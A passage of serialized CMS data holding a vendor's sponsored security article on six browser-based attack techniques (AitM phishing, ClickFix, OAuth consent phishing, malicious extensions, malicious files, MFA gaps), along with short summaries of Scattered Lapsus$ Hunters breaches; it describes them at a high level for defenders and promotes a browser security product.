1",{"sys":102242,"__typename":5503,"content":102243,"name":102254,"title":59},{"id":53016},{"json":102244},{"nodeType":1382,"data":102245,"content":102246},{},[102247],{"nodeType":866,"data":102248,"content":102249},{},[102250],{"nodeType":865,"value":102251,"marks":102252,"data":102253},"The Marks & Spencer ransomware breach resulted in online shopping services being taken offline, stores running low on products, £300M in lost profits, and almost £1B wiped off the company’s stock market valuation at one stage. Co-op proactively pulled the plug on their network to prevent further damage, lessening the impact to a still-sizeable £107m in lost profits.",[],{},"SLH insight box 2",{"sys":102256,"__typename":1390,"title":78484,"caption":78484,"layoutMode":59,"file":102257},{"id":53113},{"url":78486,"width":78487,"height":78488},{"sys":102259,"__typename":5503,"content":102260,"name":102283,"title":59},{"id":53138},{"json":102261},{"nodeType":1382,"data":102262,"content":102263},{},[102264],{"nodeType":866,"data":102265,"content":102266},{},[102267,102271,102279],{"nodeType":865,"value":102268,"marks":102269,"data":102270},"Stolen credentials were, and still are, one of the easiest ways in for an attacker. They're one of the most abundant resources available to attackers online, with billions leaked as a by-product of phishing, malware infections (infostealers), and data breaches, which are packaged up and resold to other criminals. Sure, ",[],{},{"nodeType":889,"data":102272,"content":102273},{"uri":13526},[102274],{"nodeType":865,"value":102275,"marks":102276,"data":102278},"there’s a lot of noise in credential feeds",[102277],{"type":943},{},{"nodeType":865,"value":102280,"marks":102281,"data":102282}," — but it only takes the attacker to get lucky once. And the steady stream of breaches are living proof of the MFA gaps waiting to be exploited.",[],{},"SLH insight box 3",{"sys":102285,"__typename":5503,"content":102286,"name":102297,"title":59},{"id":53316},{"json":102287},{"nodeType":1382,"data":102288,"content":102289},{},[102290],{"nodeType":866,"data":102291,"content":102292},{},[102293],{"nodeType":865,"value":102294,"marks":102295,"data":102296},"A group calling themselves “The Crimson Collective” originally claimed the breach, with Scattered Lapsus$ Hunters becoming the main voice behind the breach at the extortion phase — showing just how interconnected the ecosystem of cybercriminals is.",[],{},"SLH insight box 10",{"sys":102299,"__typename":5503,"content":102300,"name":102311,"title":59},{"id":53486},{"json":102301},{"nodeType":1382,"data":102302,"content":102303},{},[102304],{"nodeType":866,"data":102305,"content":102306},{},[102307],{"nodeType":865,"value":102308,"marks":102309,"data":102310},"An identical attack path was attempted against Co-op, but was detected early enough for the security team to pull the plug on their own network. This significantly reduced the disruption, although customer data was still taken by the attacker.",[],{},"SLH insight box 4",{"sys":102313,"__typename":5503,"content":102314,"name":102336,"title":59},{"id":53508},{"json":102315},{"nodeType":1382,"data":102316,"content":102317},{},[102318],{"nodeType":866,"data":102319,"content":102320},{},[102321,102324,102332],{"nodeType":865,"value":21,"marks":102322,"data":102323},[],{},{"nodeType":889,"data":102325,"content":102326},{"uri":15860},[102327],{"nodeType":865,"value":102328,"marks":102329,"data":102331},"Jaguar’s Jira tenant was breached",[102330],{"type":943},{},{"nodeType":865,"value":102333,"marks":102334,"data":102335}," by the “Scattered Lapsus$ Hunters” affiliated “HellCat” group earlier in 2025, which led to an alleged ~350GB of data being stolen. It is highly likely that this inside information from Jira (a platform storing huge amounts of business process information, architectural diagrams, and even improperly stored credentials and secrets) was leveraged in the later ransomware breach.",[],{},"SLH insight box 5",{"sys":102338,"__typename":5503,"content":102339,"name":102350,"title":59},{"id":53599},{"json":102340},{"nodeType":1382,"data":102341,"content":102342},{},[102343],{"nodeType":866,"data":102344,"content":102345},{},[102346],{"nodeType":865,"value":102347,"marks":102348,"data":102349},"The Salesloft breach in fact originated from a developer’s GitHub account being phished, which enabled the attacker to pivot into AWS, steal access tokens, and pivot to downstream customer environments.",[],{},"SLH insight box 6",{"sys":102352,"__typename":5503,"content":102353,"name":102364,"title":59},{"id":53631},{"json":102354},{"nodeType":1382,"data":102355,"content":102356},{},[102357],{"nodeType":866,"data":102358,"content":102359},{},[102360],{"nodeType":865,"value":102361,"marks":102362,"data":102363},"While the CyberHaven attacks were conducted by an unknown threat group, the MO of the attacker — pursuing financial gain, bypassing traditional defenses — is very much in-line with the Scattered Lapsus$ Hunters TTPs observed. ",[],{},"SLH insight box 7",{"sys":102366,"__typename":5503,"content":102367,"name":102389,"title":59},{"id":53831},{"json":102368},{"nodeType":1382,"data":102369,"content":102370},{},[102371],{"nodeType":866,"data":102372,"content":102373},{},[102374,102378,102385],{"nodeType":865,"value":102375,"marks":102376,"data":102377},"One of the common threads from all of these breaches is the risk posed by ",[],{},{"nodeType":889,"data":102379,"content":102380},{"uri":53458},[102381],{"nodeType":865,"value":102382,"marks":102383,"data":102384},"help desk attacks",[],{},{"nodeType":865,"value":102386,"marks":102387,"data":102388},", but it’s easy to over-index here. Naturally, making it possible for help desk operators to reset MFA for all users (including accounts with dangerous privileges) is always going to be targeted — but is fairly easy to address in principle by requiring escalations for high-risk changes. What is more interesting is that the vast majority of the help desk attacks featured in this article involved a single provider that is now no longer contracted by a number of the victims.",[],{},"SLH insight box 8",{"items":102391},[],{},"Analyzing \"Scattered Lapsus$ Hunters\" breaches since 2021",{"items":102395},[102396,103055,103447],{"__typename":1429,"sys":102397,"content":102399,"title":103041,"synopsis":103042,"hashTags":59,"publishedDate":103043,"slug":103044,"tagsCollection":103045,"authorsCollection":103051},{"id":102398},"62Zyr35VUmijkpupWk3hoD",{"json":102400},{"data":102401,"content":102402,"nodeType":1382},{},[102403,102419,102426,102429,102437,102444,102451,102470,102476,102483,102490,102497,102504,102507,102515,102522,102528,102535,102543,102550,102557,102563,102581,102587,102594,102601,102608,102614,102617,102625,102643,102650,102682,102689,102696,102702,102709,102716,102723,102726,102734,102750,102756,102763,102770,102776,102783,102790,102793,102801,102808,102828,102871,102878,102885,102892,102895,102903,102910,102917,102924,102927,102935,102942,102973,102993,103000,103003,103010,103017,103024],{"data":102404,"content":102405,"nodeType":866},{},[102406,102410,102415],{"data":102407,"marks":102408,"value":102409,"nodeType":865},{},[],"The view that \"the browser is the new endpoint\" and \"the new battleground for cyber attacks\" is becoming increasingly advocated by security leaders. But what does this ",{"data":102411,"marks":102412,"value":102414,"nodeType":865},{},[102413],{"type":898},"actually",{"data":102416,"marks":102417,"value":102418,"nodeType":865},{},[]," mean for security teams? ",{"data":102420,"content":102421,"nodeType":866},{},[102422],{"data":102423,"marks":102424,"value":102425,"nodeType":865},{},[],"In this article, we’re cutting out the jargon to explore what a browser-based attack is, and what’s required for effective detection and response. ",{"data":102427,"content":102428,"nodeType":972},{},[],{"data":102430,"content":102431,"nodeType":981},{},[102432],{"data":102433,"marks":102434,"value":102436,"nodeType":865},{},[102435],{"type":926},"What is the goal of a browser-based attack?   ",{"data":102438,"content":102439,"nodeType":866},{},[102440],{"data":102441,"marks":102442,"value":102443,"nodeType":865},{},[],"First, it’s important to establish what the point of a browser-based attack is.",{"data":102445,"content":102446,"nodeType":866},{},[102447],{"data":102448,"marks":102449,"value":102450,"nodeType":865},{},[],"In most scenarios, attackers don’t think of themselves as attacking your web browser. Their end-goal is to compromise your business apps and data. That means going after the third-party apps and services that are now the backbone of business IT — and therefore the top target for attackers. ",{"data":102452,"content":102453,"nodeType":866},{},[102454,102458,102466],{"data":102455,"marks":102456,"value":102457,"nodeType":865},{},[],"The most common attack path today sees attackers log into third-party services, dump the data, and monetize it through extortion. You need only look at last year’s ",{"data":102459,"content":102461,"nodeType":889},{"uri":102460},"https://pushsecurity.com/blog/snowflake-retro?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[102462],{"data":102463,"marks":102464,"value":13698,"nodeType":865},{},[102465],{"type":943},{"data":102467,"marks":102468,"value":102469,"nodeType":865},{},[]," customer breaches or the still-ongoing Salesforce attacks to see the impact.",{"data":102471,"content":102475,"nodeType":912},{"target":102472},{"sys":102473},{"id":102474,"type":909,"linkType":910},"5agrVXzEdwALmew2F5SPDp",[],{"data":102477,"content":102478,"nodeType":866},{},[102479],{"data":102480,"marks":102481,"value":102482,"nodeType":865},{},[],"The most logical way to do this is by targeting users of those apps. And because of the changes to working practices, your users are more accessible than ever to external attackers.",{"data":102484,"content":102485,"nodeType":866},{},[102486],{"data":102487,"marks":102488,"value":102489,"nodeType":865},{},[],"Once upon a time, email was the primary communication channel with the wider world, and work happened locally — on your device, and inside your locked-down network environment. This made email and the endpoint the highest priority from a security perspective. But now, with modern work happening across a network of decentralized internet apps, and more varied communication channels outside of email, it’s harder to stop users from interacting with malicious content (at least, without significantly impeding their ability to do their jobs).",{"data":102491,"content":102492,"nodeType":866},{},[102493],{"data":102494,"marks":102495,"value":102496,"nodeType":865},{},[],"Given that the browser is the place where business apps are accessed and used, it makes sense that attacks are increasingly playing out there too. ",{"data":102498,"content":102499,"nodeType":866},{},[102500],{"data":102501,"marks":102502,"value":102503,"nodeType":865},{},[],"With that covered off, let’s take a closer look at the most prevalent browser-based attack techniques being used by attackers in the wild today.",{"data":102505,"content":102506,"nodeType":972},{},[],{"data":102508,"content":102509,"nodeType":981},{},[102510],{"data":102511,"marks":102512,"value":102514,"nodeType":865},{},[102513],{"type":926},"The 6 key browser-based attacks that security teams need to know about",{"data":102516,"content":102517,"nodeType":866},{},[102518],{"data":102519,"marks":102520,"value":102521,"nodeType":865},{},[],"Attacks that target users in their web browsers have seen an unprecedented rise in recent years. ",{"data":102523,"content":102527,"nodeType":912},{"target":102524},{"sys":102525},{"id":102526,"type":909,"linkType":910},"4ogNqZdObSIJXavHP44lom",[],{"data":102529,"content":102530,"nodeType":866},{},[102531],{"data":102532,"marks":102533,"value":102534,"nodeType":865},{},[],"Here's our breakdown of the top 6 browser-based attacks that should be on every security team's radar right now. ",{"data":102536,"content":102537,"nodeType":1317},{},[102538],{"data":102539,"marks":102540,"value":102542,"nodeType":865},{},[102541],{"type":926},"1. Phishing for credentials and sessions",{"data":102544,"content":102545,"nodeType":866},{},[102546],{"data":102547,"marks":102548,"value":102549,"nodeType":865},{},[],"The most direct way for an attacker to compromise a business application is to phish a user of that app. You might not necessarily think of phishing as a browser-based attack, but that’s exactly what it is today. ",{"data":102551,"content":102552,"nodeType":866},{},[102553],{"data":102554,"marks":102555,"value":102556,"nodeType":865},{},[],"Phishing tooling and infrastructure has evolved a lot in the past decade, while the changes to business IT means there are both many more vectors for phishing attack delivery, and apps and identities to target. Attackers can deliver links over instant messenger apps, social media, SMS, malicious ads, and using in-app messenger functionality, as well as sending emails directly from SaaS services to bypass email-based checks. Likewise, there are now hundreds of apps per enterprise to target, with varying levels of account security configuration. ",{"data":102558,"content":102562,"nodeType":912},{"target":102559},{"sys":102560},{"id":102561,"type":909,"linkType":910},"3SrKOgpedLMQRpKIZqUQur",[],{"data":102564,"content":102565,"nodeType":866},{},[102566,102570,102578],{"data":102567,"marks":102568,"value":102569,"nodeType":865},{},[],"Whereas phishing was once entirely focused on credential theft, modern phishing attacks see the attacker intercept the victim’s session on the target app, using reverse-proxy Attacker-in-the-Middle kits that are the standard choice for attackers today. This means most forms of MFA can be bypassed, with the exception of passkeys (though attackers are finding ways to work around passkeys using ",{"data":102571,"content":102573,"nodeType":889},{"uri":102572},"https://pushsecurity.com/blog/mfa-downgrade-attacks/?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[102574],{"data":102575,"marks":102576,"value":83858,"nodeType":865},{},[102577],{"type":943},{"data":102579,"marks":102580,"value":40358,"nodeType":865},{},[],{"data":102582,"content":102586,"nodeType":912},{"target":102583},{"sys":102584},{"id":102585,"type":909,"linkType":910},"2sOFEdAwQZjWOGzNAlGavb",[],{"data":102588,"content":102589,"nodeType":866},{},[102590],{"data":102591,"marks":102592,"value":102593,"nodeType":865},{},[],"There are other key differences to be aware of too. Today, phishing operates on an industrial scale, using an array of obfuscation and detection evasion techniques. The latest generation of fully customized AitM phishing kits are dynamically obfuscating the code that loads the web page, implementing custom bot protection (e.g. CAPTCHA or Cloudflare Turnstile), using runtime anti-analysis features, and using legitimate SaaS and cloud services to host and deliver phishing links to cover their tracks.",{"data":102595,"content":102596,"nodeType":866},{},[102597],{"data":102598,"marks":102599,"value":102600,"nodeType":865},{},[],"This means that traditional anti-phishing tools at the email and network layer are struggling to keep up, with many attacks evading email-based detections (or bypassing email altogether). At the same time, proxy-based solutions now see a garbled mess of JavaScript code without the necessary context of what is actually happening in the browser to be able to piece it together effectively. Even if they don’t realize it, this means many organizations are now relying solely on blocking known-bad sites and hosts — a wildly ineffective solution in 2025 with the rate that attackers refresh and rotate their phishing infrastructure. ",{"data":102602,"content":102603,"nodeType":866},{},[102604],{"data":102605,"marks":102606,"value":102607,"nodeType":865},{},[],"These changes make phishing more effective than ever, and increasingly difficult to detect and block without being able to observe and analyze web pages that a user interacts with in real time — something only possible with browser-level visibility. ",{"data":102609,"content":102613,"nodeType":912},{"target":102610},{"sys":102611},{"id":102612,"type":909,"linkType":910},"1II2kHyOZcShLsexx1TAgy",[],{"data":102615,"content":102616,"nodeType":972},{},[],{"data":102618,"content":102619,"nodeType":1317},{},[102620],{"data":102621,"marks":102622,"value":102624,"nodeType":865},{},[102623],{"type":926},"2. Malicious copy and paste (aka. ClickFix, FileFix, etc.)",{"data":102626,"content":102627,"nodeType":866},{},[102628,102632,102640],{"data":102629,"marks":102630,"value":102631,"nodeType":865},{},[],"One of the biggest security trends in the past year has been the emergence of the attack technique known as ",{"data":102633,"content":102635,"nodeType":889},{"uri":102634},"https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/",[102636],{"data":102637,"marks":102638,"value":315,"nodeType":865},{},[102639],{"type":943},{"data":102641,"marks":102642,"value":14251,"nodeType":865},{},[],{"data":102644,"content":102645,"nodeType":866},{},[102646],{"data":102647,"marks":102648,"value":102649,"nodeType":865},{},[],"Originally known as “Fake CAPTCHA”, these attacks attempt to trick users into running malicious commands on their device — typically by solving some form of verification challenge in the browser. ",{"data":102651,"content":102652,"nodeType":866},{},[102653,102657,102666,102670,102679],{"data":102654,"marks":102655,"value":102656,"nodeType":865},{},[],"In reality, by solving the challenge, the victim is actually copying malicious code from the page clipboard and running it on their device. It typically gives the victim instructions that involve clicking prompts and copying, pasting, and running commands directly in the Windows Run dialog box, Terminal, or PowerShell. Variants such as ",{"data":102658,"content":102660,"nodeType":889},{"uri":102659},"https://mrd0x.com/filefix-clickfix-alternative/",[102661],{"data":102662,"marks":102663,"value":102665,"nodeType":865},{},[102664],{"type":943},"FileFix",{"data":102667,"marks":102668,"value":102669,"nodeType":865},{},[]," have also emerged which instead uses the File Explorer Address Bar to execute OS commands, while recent examples have seen this attack branch out to ",{"data":102671,"content":102673,"nodeType":889},{"uri":102672},"https://www.bleepingcomputer.com/news/security/fake-mac-fixes-trick-users-into-installing-new-shamos-infostealer/",[102674],{"data":102675,"marks":102676,"value":102678,"nodeType":865},{},[102677],{"type":943},"Mac via the macOS terminal",{"data":102680,"marks":102681,"value":1615,"nodeType":865},{},[],{"data":102683,"content":102684,"nodeType":866},{},[102685],{"data":102686,"marks":102687,"value":102688,"nodeType":865},{},[],"Most commonly, these attacks are used to deliver infostealer malware, using stolen session cookies and credentials to access business apps and services. ",{"data":102690,"content":102691,"nodeType":866},{},[102692],{"data":102693,"marks":102694,"value":102695,"nodeType":865},{},[],"Like modern credential and session phishing, links to malicious pages are distributed over various delivery channels and using a variety of lures, including impersonating CAPTCHA, Cloudflare Turnstile, simulating an error loading a webpage, and many more. ",{"data":102697,"content":102701,"nodeType":912},{"target":102698},{"sys":102699},{"id":102700,"type":909,"linkType":910},"6O9YiOfhpGFCDsTil9F3On",[],{"data":102703,"content":102704,"nodeType":866},{},[102705],{"data":102706,"marks":102707,"value":102708,"nodeType":865},{},[],"The variance in lure, and differences between different versions of the same lure, can make it difficult to fingerprint and detect based on visual elements alone. Also, many of the same protections being used to obfuscate and prevent analysis of phishing pages also apply to ClickFix pages, making it equally challenging to detect and block them. ",{"data":102710,"content":102711,"nodeType":866},{},[102712],{"data":102713,"marks":102714,"value":102715,"nodeType":865},{},[],"This leaves most of the detection and blocking down to endpoint-layer controls around user-level code execution and malware running on a device. The quantity of ClickFix-related headlines in the news would indicate that endpoint controls are being routinely bypassed, or perhaps evaded altogether by targeting personal or BYOD devices. ",{"data":102717,"content":102718,"nodeType":866},{},[102719],{"data":102720,"marks":102721,"value":102722,"nodeType":865},{},[],"There is a significant opportunity to detect these attacks in the browser and stop them at the earliest opportunity, before they reach the endpoint. Every ClickFix attack and variant has a key action in common — malicious code is copied from the page’s clipboard. In some cases, this happens without any user interaction (where the only requirement on the user is to run code that has been silently copied behind the scenes), presenting a strong indicator of malicious behavior that can be observed in the browser. ",{"data":102724,"content":102725,"nodeType":972},{},[],{"data":102727,"content":102728,"nodeType":1317},{},[102729],{"data":102730,"marks":102731,"value":102733,"nodeType":865},{},[102732],{"type":926},"3. Malicious OAuth integrations",{"data":102735,"content":102736,"nodeType":866},{},[102737,102741,102747],{"data":102738,"marks":102739,"value":102740,"nodeType":865},{},[],"Malicious OAuth integrations are another way for attackers to compromise an app by tricking a user into authorizing an integration with a malicious, attacker-controlled app, with the level of data access and functionality dictated by the scopes authorized in the request. This is also known as ",{"data":102742,"content":102743,"nodeType":889},{"uri":56197},[102744],{"data":102745,"marks":102746,"value":66867,"nodeType":865},{},[],{"data":102748,"marks":102749,"value":6719,"nodeType":865},{},[],{"data":102751,"content":102755,"nodeType":912},{"target":102752},{"sys":102753},{"id":102754,"type":909,"linkType":910},"5JaP4WSfFsFSbvaa9BQBOq",[],{"data":102757,"content":102758,"nodeType":866},{},[102759],{"data":102760,"marks":102761,"value":102762,"nodeType":865},{},[],"This is an effective way for attackers to bypass hardened authentication and access controls by sidestepping the typical login process to take over an account and compromise business apps. This includes phishing-resistant MFA methods like passkeys — since the standard login process does not apply. ",{"data":102764,"content":102765,"nodeType":866},{},[102766],{"data":102767,"marks":102768,"value":102769,"nodeType":865},{},[],"A variant of this attack has dominated the headlines recently with the ongoing Salesforce breaches. In this scenario, the attacker tricked the victim into authorizing an attacker-controlled OAuth app via the device code authorization flow in Salesforce, which requires the user to enter an 8-digit code in place of a password or MFA factor.",{"data":102771,"content":102775,"nodeType":912},{"target":102772},{"sys":102773},{"id":102774,"type":909,"linkType":910},"3odEFcUcpKN553gHh2P5yr",[],{"data":102777,"content":102778,"nodeType":866},{},[102779],{"data":102780,"marks":102781,"value":102782,"nodeType":865},{},[],"Preventing malicious OAuth grants being authorized requires tight in-app management of user permissions and tenant security settings. This is no mean feat when considering the 100s of apps in use across the modern enterprise, many of which are not centrally managed by IT and security teams (or in some cases, are completely unknown to them). Even then, you’re limited by the controls made available by the app vendor. In this case, Salesforce has announced planned changes to OAuth app authorization in order to improve security prompted by these attacks — but many more apps with insecure configs exist for attackers to take advantage of in future. ",{"data":102784,"content":102785,"nodeType":866},{},[102786],{"data":102787,"marks":102788,"value":102789,"nodeType":865},{},[],"However, unlike app-specific integrations, browser-based security tools are well positioned to observe OAuth grants across all apps accessed in the browser — even the ones the security team doesn’t manage or know about, or without needing to pay for the app’s special security add-on to get visibility.",{"data":102791,"content":102792,"nodeType":972},{},[],{"data":102794,"content":102795,"nodeType":1317},{},[102796],{"data":102797,"marks":102798,"value":102800,"nodeType":865},{},[102799],{"type":926},"4. Malicious browser extensions",{"data":102802,"content":102803,"nodeType":866},{},[102804],{"data":102805,"marks":102806,"value":102807,"nodeType":865},{},[],"Malicious browser extensions are another way for attackers to compromise your business apps by observing and capturing logins as they happen, and/or extracting session cookies and credentials saved in the browser cache and password manager. ",{"data":102809,"content":102810,"nodeType":866},{},[102811,102815,102824],{"data":102812,"marks":102813,"value":102814,"nodeType":865},{},[],"Attackers do this by creating their own malicious extension and tricking your users into installing it, or taking over an existing extension to gain access to browsers where it is already installed (",{"data":102816,"content":102818,"nodeType":889},{"uri":102817},"https://secureannex.com/blog/buying-browser-extensions/",[102819],{"data":102820,"marks":102821,"value":102823,"nodeType":865},{},[102822],{"type":943},"it’s very easy for attackers to buy and add malicious updates to existing extensions",{"data":102825,"marks":102826,"value":102827,"nodeType":865},{},[],", easily passing extension web store security checks). ",{"data":102829,"content":102830,"nodeType":866},{},[102831,102835,102843,102847,102856,102859,102868],{"data":102832,"marks":102833,"value":102834,"nodeType":865},{},[],"The news around extension-based compromises has been on the rise since the ",{"data":102836,"content":102837,"nodeType":889},{"uri":56177},[102838],{"data":102839,"marks":102840,"value":102842,"nodeType":865},{},[102841],{"type":943},"Cyberhaven extension",{"data":102844,"marks":102845,"value":102846,"nodeType":865},{},[]," was hacked in December 2024, along with at least 35 other extensions. Since then, there has been regular reporting on data-stealing extensions ",{"data":102848,"content":102850,"nodeType":889},{"uri":102849},"https://www.bleepingcomputer.com/news/security/data-stealing-chrome-extensions-impersonate-fortinet-youtube-vpns/",[102851],{"data":102852,"marks":102853,"value":102855,"nodeType":865},{},[102854],{"type":943},"impersonating legitimate brands",{"data":102857,"marks":102858,"value":3476,"nodeType":865},{},[],{"data":102860,"content":102862,"nodeType":889},{"uri":102861},"https://www.bleepingcomputer.com/news/security/chrome-extensions-with-6-million-installs-have-hidden-tracking-code/",[102863],{"data":102864,"marks":102865,"value":102867,"nodeType":865},{},[102866],{"type":943},"impacting millions of users",{"data":102869,"marks":102870,"value":1615,"nodeType":865},{},[],{"data":102872,"content":102873,"nodeType":866},{},[102874],{"data":102875,"marks":102876,"value":102877,"nodeType":865},{},[],"Risky browser extension permissions include broad data access, the ability to modify website content, track user activity, capture screenshots, and manage tabs or network requests. Permissions like \"read and change all data on all websites\" or access to cookies and browsing history are particularly dangerous as they can be exploited for session hijacking, data theft, malware injection, or phishing.",{"data":102879,"content":102880,"nodeType":866},{},[102881],{"data":102882,"marks":102883,"value":102884,"nodeType":865},{},[],"Generally, your employees should not be randomly installing browser extensions unless pre-approved by your security team. The reality, however, is that many organizations have very little visibility of the extensions their employees are using, and the potential risk they’re exposed to as a result. ",{"data":102886,"content":102887,"nodeType":866},{},[102888],{"data":102889,"marks":102890,"value":102891,"nodeType":865},{},[],"To tackle malicious extensions, security tools operating in the browser can track the browser extensions deployed, highlight risky permissions, compare with known-malicious extensions, identify fraudulent/unofficial versions of a legitimate extension, and highlight other risky properties commonly associated with malicious extensions (e.g. “Developer” extensions). ",{"data":102893,"content":102894,"nodeType":972},{},[],{"data":102896,"content":102897,"nodeType":1317},{},[102898],{"data":102899,"marks":102900,"value":102902,"nodeType":865},{},[102901],{"type":926},"5. Malicious file delivery",{"data":102904,"content":102905,"nodeType":866},{},[102906],{"data":102907,"marks":102908,"value":102909,"nodeType":865},{},[],"Malicious files have been a core part of malware delivery and credential theft for many years. Just as non-email channels like malvertising and drive-by attacks are used to deliver phishing and ClickFix lures, malicious files are also distributed through similar means — leaving malicious file detection to basic known-bad checks, sandbox analysis using a proxy (not that useful in the context of sandbox-aware malware) or runtime analysis on the endpoint. ",{"data":102911,"content":102912,"nodeType":866},{},[102913],{"data":102914,"marks":102915,"value":102916,"nodeType":865},{},[],"This doesn’t just have to be malicious executables directly dropping malware onto the device. File downloads can also contain additional links taking the user to malicious content. In fact, one of the most common types of downloadable content are HTML Applications (HTAs), commonly used to spawn local phishing pages to stealthily capture credentials. More recently, attackers have been weaponizing SVG files for a similar purpose, running as self-contained phishing pages that render fake login portals entirely client-side. ",{"data":102918,"content":102919,"nodeType":866},{},[102920],{"data":102921,"marks":102922,"value":102923,"nodeType":865},{},[],"Even if malicious content cannot always be flagged from surface-level inspection of a file, recording file downloads in the browser is a useful addition to endpoint-based malware protection, and provides another layer of defense against file downloads that perform client-side attacks, or redirect the user to malicious web-based content. ",{"data":102925,"content":102926,"nodeType":972},{},[],{"data":102928,"content":102929,"nodeType":1317},{},[102930],{"data":102931,"marks":102932,"value":102934,"nodeType":865},{},[102933],{"type":926},"6. Stolen credentials and MFA gaps",{"data":102936,"content":102937,"nodeType":866},{},[102938],{"data":102939,"marks":102940,"value":102941,"nodeType":865},{},[],"This last one isn’t so much a browser-based attack, but it is a product of them. When credentials are stolen through phishing or infostealer malware they can be used to take over accounts missing MFA. ",{"data":102943,"content":102944,"nodeType":866},{},[102945,102949,102956,102960,102969],{"data":102946,"marks":102947,"value":102948,"nodeType":865},{},[],"This isn’t the most sophisticated attack, but it’s very effective. You need only look at last year’s ",{"data":102950,"content":102951,"nodeType":889},{"uri":102460},[102952],{"data":102953,"marks":102954,"value":13698,"nodeType":865},{},[102955],{"type":943},{"data":102957,"marks":102958,"value":102959,"nodeType":865},{},[]," account compromises or the ",{"data":102961,"content":102963,"nodeType":889},{"uri":102962},"https://pushsecurity.com/blog/why-attackers-are-targeting-jira-with-stolen-credentials?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[102964],{"data":102965,"marks":102966,"value":102968,"nodeType":865},{},[102967],{"type":943},"Jira",{"data":102970,"marks":102971,"value":102972,"nodeType":865},{},[]," attacks earlier this year to see how attackers harness stolen credentials at scale. ",{"data":102974,"content":102975,"nodeType":866},{},[102976,102980,102989],{"data":102977,"marks":102978,"value":102979,"nodeType":865},{},[],"With the modern enterprise using hundreds of apps, the likelihood that an app hasn’t been configured for mandatory MFA (if possible) is high. And even when an app has been configured for SSO and connected to your primary corporate identity, ",{"data":102981,"content":102983,"nodeType":889},{"uri":102982},"https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=sidebar",[102984],{"data":102985,"marks":102986,"value":102988,"nodeType":865},{},[102987],{"type":943},"local “ghost logins” can continue to exist",{"data":102990,"marks":102991,"value":102992,"nodeType":865},{},[],", accepting passwords with no MFA required. Just having visibility of your primary Identity Provider accounts (e.g. Google, Microsoft, Okta) and SSO-connected apps doesn't give you a full picture of your identity surface.",{"data":102994,"content":102995,"nodeType":866},{},[102996],{"data":102997,"marks":102998,"value":102999,"nodeType":865},{},[],"Logins can also be observed in the browser — in fact, it’s as close to a universal source of truth as you’re going to get about how your employees are actually logging in, which apps they’re using, and whether MFA is present, enabling security teams to find and fix vulnerable logins before they can be exploited by attackers. ",{"data":103001,"content":103002,"nodeType":972},{},[],{"data":103004,"content":103005,"nodeType":981},{},[103006],{"data":103007,"marks":103008,"value":57175,"nodeType":865},{},[103009],{"type":926},{"data":103011,"content":103012,"nodeType":866},{},[103013],{"data":103014,"marks":103015,"value":103016,"nodeType":865},{},[],"Attacks are increasingly happening in the browser. That makes it the perfect place to detect and respond to these attacks. But right now, the browser is a blind-spot for most security teams. ",{"data":103018,"content":103019,"nodeType":866},{},[103020],{"data":103021,"marks":103022,"value":103023,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your identity attack surface.",{"data":103025,"content":103026,"nodeType":866},{},[103027,103030,103038],{"data":103028,"marks":103029,"value":101333,"nodeType":865},{},[],{"data":103031,"content":103033,"nodeType":889},{"uri":103032},"https://pushsecurity.com/demo?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[103034],{"data":103035,"marks":103036,"value":11405,"nodeType":865},{},[103037],{"type":943},{"data":103039,"marks":103040,"value":1615,"nodeType":865},{},[],"6 browser-based attacks every security team should be prepared for","What security teams need to know about the browser-based attack techniques that are the leading cause of breaches.","2025-09-05T00:00:00.000Z","6-browser-based-attacks-every-security-team-should-be-prepared-for",{"items":103046},[103047,103049],{"sys":103048,"name":7796},{"id":7795},{"sys":103050,"name":342},{"id":4642},{"items":103052},[103053],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":103054},{"url":7804},{"__typename":1429,"sys":103056,"content":103057,"title":100286,"synopsis":100287,"hashTags":59,"publishedDate":100288,"slug":100289,"tagsCollection":103437,"authorsCollection":103443},{"id":99855},{"json":103058},{"data":103059,"content":103060,"nodeType":1382},{},[103061,103077,103090,103095,103101,103107,103110,103117,103132,103138,103143,103149,103154,103160,103165,103171,103176,103182,103187,103190,103197,103213,103218,103225,103241,103248,103274,103280,103287,103303,103310,103326,103331,103334,103341,103357,103363,103368,103371,103378,103394,103400,103406,103411],{"data":103062,"content":103063,"nodeType":866},{},[103064,103067,103074],{"data":103065,"marks":103066,"value":99866,"nodeType":865},{},[],{"data":103068,"content":103069,"nodeType":889},{"uri":8862},[103070],{"data":103071,"marks":103072,"value":8868,"nodeType":865},{},[103073],{"type":943},{"data":103075,"marks":103076,"value":14251,"nodeType":865},{},[],{"data":103078,"content":103079,"nodeType":866},{},[103080,103083,103087],{"data":103081,"marks":103082,"value":99883,"nodeType":865},{},[],{"data":103084,"marks":103085,"value":99888,"nodeType":865},{},[103086],{"type":926},{"data":103088,"marks":103089,"value":99892,"nodeType":865},{},[],{"data":103091,"content":103094,"nodeType":912},{"target":103092},{"sys":103093},{"id":99897,"type":909,"linkType":910},[],{"data":103096,"content":103097,"nodeType":866},{},[103098],{"data":103099,"marks":103100,"value":99905,"nodeType":865},{},[],{"data":103102,"content":103103,"nodeType":866},{},[103104],{"data":103105,"marks":103106,"value":99912,"nodeType":865},{},[],{"data":103108,"content":103109,"nodeType":972},{},[],{"data":103111,"content":103112,"nodeType":981},{},[103113],{"data":103114,"marks":103115,"value":99923,"nodeType":865},{},[103116],{"type":926},{"data":103118,"content":103119,"nodeType":866},{},[103120,103123,103129],{"data":103121,"marks":103122,"value":99930,"nodeType":865},{},[],{"data":103124,"content":103125,"nodeType":889},{"uri":99933},[103126],{"data":103127,"marks":103128,"value":99938,"nodeType":865},{},[],{"data":103130,"marks":103131,"value":2688,"nodeType":865},{},[],{"data":103133,"content":103134,"nodeType":866},{},[103135],{"data":103136,"marks":103137,"value":99948,"nodeType":865},{},[],{"data":103139,"content":103142,"nodeType":912},{"